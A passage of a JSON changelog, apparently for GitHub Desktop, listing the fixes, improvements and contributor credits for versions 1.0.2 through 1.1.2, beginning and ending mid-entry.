Pull Request does not checkout - #4673", "[Fixed] Alert icon shrinks in rename dialog when branch name is long - #4566", "[Fixed] 'Open in Desktop' performs fetch to ensure branch exists before checkout - #3006", "[Fixed] 'Open in Default Program' on Windows changes the window title - #4446", "[Fixed] Skip fast-forwarding when there are many eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' always opens a new instance - #4381", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429.", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta7": [], "1.1.2-beta6": [ "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Fixed] Open in Shell on Linux ensures Git is available on the user's PATH - #4619. Thanks @ziggy42!", "[Fixed] Keyboard focus issues when navigating Pull Request list - #4673", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!" ], "1.1.2-test5": ["Actually upgrading fs-extra to v6 in the app"], "1.1.2-test4": ["Upgrading fs-extra to v6"], "1.1.2-beta5": [ "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Fixed] Prevent icon from shrinking in rename dialog - #4566" ], "1.1.2-beta4": [ "[New] New Compare tab allowing visualization of the relationship between branches", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459" ], "1.1.2-beta3": [ "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] Fetch to ensure \"Open in Desktop\" has a branch to checkout - #3006", "[Fixed] Handle the click event when opening a binary file - #4446", "[Fixed] Skip fast-forwarding when there are a lot of eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429." ], "1.1.2-test3": ["[New] Comparison Branch demo build"], "1.1.2-test2": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-test1": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-beta2": [ "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[New] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' does not use existing window - #4381", "[Fixed] Always ask for confirmation when discarding all changes - #4423", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta1": [], "1.1.1": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior for Pull Request list does not match Branch List - #3597", "[Fixed] Keep caret position after inserting completion for emoji/mention - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable commit summary and description inputs while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when all entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Fixed] Attempt to focus the application window on macOS after signing in via the browser - #4126", "[Fixed] Refresh issues when user manually fetches - #4076", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link after the password dialog to match expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!", "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta4": [ "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta3": [], "1.1.1-beta2": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior should match that of Branch List - #3972", "[Fixed] Keep caret position after inserting completion - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable input fields summary and description while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link to after the password dialog to maintain expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!" ], "1.1.1-test2": ["[Improved] Electron 1.8.3 upgrade (again)"], "1.1.1-test1": [ "[Improved] Forcing a focus on the window after the OAuth dance is done" ], "1.1.1-beta1": [], "1.1.0": [ "[New] Check out pull requests from collaborators or forks from within Desktop", "[New] View the commit status of the branch when it has an open pull request", "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Added] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Update layout of branch blankslate image - #4011", "[Fixed] Expanded avatar stack in commit summary gets cut off - #3884", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Avoid crash when unable to launch shell - #3954", "[Fixed] Ensure renames are detected when viewing commit diffs - #3673", "[Fixed] Fetch default remote if it differs from the current - #4056", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Handle error when \"where\" is not on PATH - #3882 #3825", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Update branch button text from \"New\" to \"New Branch\" - #4032", "[Improved] Add fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911", "[Improved] Show fetch progress when initializing remote for fork - #3953", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!", "[Improved] Error handling around ENOENT - #3954", "[Improved] Clear repository filter text when switching tabs - #3787. Thanks @reyronald!", "[Improved] Allow window to accept single click on focus - #3843", "[Improved] Disable drag-and-drop interaction when a popup is in the foreground - #3996" ], "1.1.0-beta3": [ "[Fixed] Fetch default remote if it differs from the current - #4056" ], "1.1.0-beta2": [ "[Improved] Update embedded Git to improve error handling when using stdin - #4058" ], "1.1.0-beta1": [ "[Improved] Add 'Branch' to 'New' branch button - #4032", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!" ], "1.0.14-beta5": [ "[Fixed] Improve detection of pull requests associated with current branch - #3991", "[Fixed] Disable drag-and-drop interaction when a popup is in the foreground - #3996", "[Fixed] Branch blank slate image out of position - #4011" ], "1.0.14-beta4": [ "[New] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Crash when unable to launch shell - #3954", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Enable fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!" ], "1.0.14-test1": ["[Improved] Electron 1.8.2 upgrade"], "1.0.14-beta3": [ "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Improved] Show progress when initializing remote for fork - #3953" ], "1.0.14-beta2": [ "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Fixed] Allow window to accept single click on focus - #3843", "[Fixed] Expanded avatar list hidden behind commit details - #3884", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911" ], "1.0.14-beta1": ["[New] Commit together with co-authors - #3879"], "1.0.13": [ "[New] Commit together with co-authors - #3879", "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allow double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.13-test1": [ "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allows double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Pull Request store may not have status defined - #3869", "[Fixed] Render the Pull Request badge when no commit statuses found - #3608" ], "1.0.13-beta1": [ "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.12": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta1": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta0": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521", "[Fixed] Preserve the selected pull request when a manual fetch is done - #3524", "[Fixed] Update pull request badge after switching branches or pull requests - #3454", "[Fixed] Restore keyboard arrow navigation for pull request list - #3499" ], "1.0.11": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521" ], "1.0.11-test0": [ "[Improved] now with a new major version of electron-packager" ], "1.0.11-beta0": [ "[Improved] Refresh the pull requests list after fetching - #3503", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] URL encode branch names when creating a pull request - #3509", "[Fixed] Windows: detecting available editors and shells now works even when the group policy blocks write registry access - #3105 #3405" ], "1.0.10": [ "[New] ColdFusion Builder is now a supported external editor - #3336 #3321. Thanks @AtomicCons!", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell on Windows too - #3455. Thanks @JordanMussi!", "[New] Swift is now syntax highlighted - #3305. Thanks @agisilaos!", "[New] Vue.js is now syntax highlighted - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted - #3356. Thanks @agisilaos!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[New] Objective-C is now syntax highlighted - #3355. Thanks @koenpunt!", "[New] SQL is now syntax highlighted - #3389. Thanks @say25!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta3": [ "[New] Change \"Create Pull Request\" to \"Show Pull Request\" when there is already a pull request open for the branch - #2524", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell - #3455. Thanks @JordanMussi!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[Improved] Use the same colors in pull request dropdown as we use on GitHub.com - #3451", "[Improved] Fancy pull request loading animations - #2868", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Refresh the pull request list when the Push/Pull/Fetch button is clicked - #3448", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta2": [ "[New] SQL is now syntax highlighted! - #3389. Thanks @say25!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304" ], "1.0.10-beta1": [ "[New] Vue.js code is now syntax highlighted! - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted! - #3356. Thanks @agisilaos!", "[New] Highlight .m as Objective-C - #3355. Thanks @koenpunt!", "[Improved] Use smarter middle truncation for branch names - #3357", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!" ], "1.0.10-beta0": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta1": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta0": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8-beta0": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7-beta0": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.6": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.5": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!", "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-beta1": [ "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-test1": [], "1.0.5-test0": [], "1.0.5-beta0": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!" ], "1.0.4": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917" ], "1.0.4-beta1": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917 #2917" ], "1.0.4-beta0": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.3": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.2": [ "[Improved] Better message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] 